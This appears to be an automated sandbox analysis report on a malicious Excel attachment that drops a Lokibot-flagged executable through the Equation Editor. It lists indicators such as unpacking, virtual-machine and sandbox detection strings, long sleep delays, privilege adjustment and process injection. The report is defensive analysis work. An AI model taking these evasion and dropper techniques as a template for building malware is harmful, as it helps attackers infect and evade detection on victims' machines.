Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00370404 NtQueryInformationProcess,

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0037A028
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0037801F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0037E868
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003730A8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003704D0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00372198
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0037EAC8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00370FC0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00379028
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00374008
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00375850
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00375458
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00375448
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00375268
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00375648
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00374ED0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003782D8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0037A345
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00374BB1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00374BC0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E3410
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E7694
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E4D3A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E0048
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E0022
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E3400
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006EBEDE
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006EDCA8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E60A9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E60B8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006EDC98
Source: C:\Users\Public\vbc.exe	Code function: 4_2_045F22E9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_045F230A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_045F053C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_045F09CE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0040549C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004029D4

Source: MV NAGOYA TRADER.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\Public\vbc.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Users\Public\vbc.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: svchost[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vbc.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@6/8@182/2

Source: C:\Users\Public\vbc.exe

Code function: 5_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

Source: C:\Users\Public\vbc.exe

Code function: 5_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$MV NAGOYA TRADER.xlsx

Jump to behavior

Source: C:\Users\Public\vbc.exe

Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR223F.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: MV NAGOYA TRADER.xlsx	Virustotal: Detection: 31%
Source: MV NAGOYA TRADER.xlsx	ReversingLabs: Detection: 25%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown	Process created: C:\Users\Public\vbc.exe {path}
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe {path}

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: MV NAGOYA TRADER.xlsx

Static file information: File size 2653184 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: MV NAGOYA TRADER.xlsx

Initial sample: OLE indicators vbamacros = False

Source: MV NAGOYA TRADER.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.e80000.2.unpack .text:ER;.rsrc:R;.reloc:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.e80000.2.unpack

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0x8BB156F3 [Thu Apr 7 15:19:15 2044 UTC]

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3040, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2952, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00378799 push ebx; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006E93AA pushfd ; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_006EABA4 push ecx; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_045F0EBF pushfd ; retf
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402AC0 push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402AC0 push eax; ret

Source: initial sample	Static PE information: section name: .text entropy: 7.32253552391
Source: initial sample	Static PE information: section name: .text entropy: 7.32253552391

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX

Source: MV NAGOYA TRADER.xlsx

Stream path 'EncryptedPackage' entropy: 7.99993139379 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000004.00000002.2195981464.0000000002377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2952, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME8
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL8

Source: C:\Users\Public\vbc.exe

Thread delayed: delay time: 922337203685477

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1616	Thread sleep time: -300000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2944	Thread sleep time: -41500s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2496	Thread sleep count: 35 > 30
Source: C:\Users\Public\vbc.exe TID: 2496	Thread sleep time: -2100000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2496	Thread sleep time: -60000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2496	Thread sleep time: -120000s >= -30000s

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMWARE8
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II8
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: QEMU8
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMwareHDNm
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMware HDNm
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMWAREHDNm
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: Mm%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\8
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: Mm"SOFTWARE\VMware, Inc.\VMware Tools8
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: vbc.exe, 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Binary or memory string: vmware8

Source: C:\Users\Public\vbc.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\vbc.exe

Code function: 5_2_0040317B mov eax, dword ptr fs:[00000030h]

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00402B7C GetProcessHeap,RtlAllocateHeap,

Source: C:\Users\Public\vbc.exe	Process token adjusted: Debug
Source: C:\Users\Public\vbc.exe	Process token adjusted: Debug

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A

